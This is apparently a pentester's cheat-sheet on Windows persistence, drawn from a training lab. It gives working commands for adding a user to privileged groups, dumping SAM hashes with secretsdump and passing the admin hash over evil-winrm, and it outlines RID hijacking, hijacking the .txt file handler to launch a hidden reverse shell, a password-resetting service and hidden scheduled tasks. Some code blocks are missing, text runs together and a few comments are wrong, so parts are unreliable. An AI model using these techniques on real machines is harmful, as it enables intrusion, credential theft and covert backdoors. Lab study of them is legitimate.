Windows Persistence
Best Resource on the planet: https://tryhackme.com/room/windowslocalpersistence
Elevating Unpriv Accounts
Add users to groups
# Add to admin
net localgroup administrators oscar42 /add
# Add to backup operators. Can read/write any mem location or reg
net localgroup "Backup Operators" oscar42 /add
# Allow RDP for backup operators
net localgroup "Remote Management Users" oscar42 /add
# Disable LocalAccountTokenFilterPolicy to allow use of remote admin
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1Conn to group using Evil-WinRM
# Connect to box
evil-winrm -i 10.10.0.1 -u oscar42 -p Password321
# Check Groups
whoami /groups
# Download for secrets dump
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
# Dump hashes using Impacket
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
# Login using admin hash (last part of hashdump)
evil-winrm -i 10.10.0.1 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3Special Privileges and Security Descriptors
List of privs: https://docs.microsoft.com/...
SeBackupPrivilege
The user can read any file in the system, ignoring any DACL in place.
SeRestorePrivilege
The user can write any file in the system, ignoring any DACL in place.
Relative ID (RID) Hijacking
The important bit is the 1010 at the end of the SID for the user oscar42. This is the RID, and we need to change it to the same value as the administrator, 500.
Now we need to modify the HKLM\SAM\SAM\Domains\Account\Users\ key for the user we want to elevate. Convert the RID to HEX to find the user. In this case, 1010 converts to 0x3f2.
Modify the F key to have the admins bytes, 0x1f4 with the byte order reversed.
Backdooring Files
Using MSFVenom
Hijacking File Extensions
File extensions are located at HKLM\Software\Classes\. We can then select a extension. Selecting the .txt extension reveals a link to the class txtfile. We can then change the command ran when opening this file type at Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
Backdoor PS1 to run a revshell on notepad launch:
we can then save this script to c:\Windows\system32\backdoor.ps1, and change the reg key to powershell -windowstyle hidden C:\windows\system32\backdoor2.ps1 %1. Opening any .txt file will now execute our payload.
Services
Auto change admin pass
This will create a service that changes the admin password to passwd123 on startup.
MSFVenom
On the attackers machine:
On the target machine:
Service hijacking
Task Scheduler
Hide task
A task can be hidden by deleting its service descriptor (SD). Service descriptors can be viewed at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. Next, select the service you created and delete the SD record for it.
Logon Triggered Persistence
Startup Folder
Registry
Logon Screen
Stickeykeys
Utilman
Last updated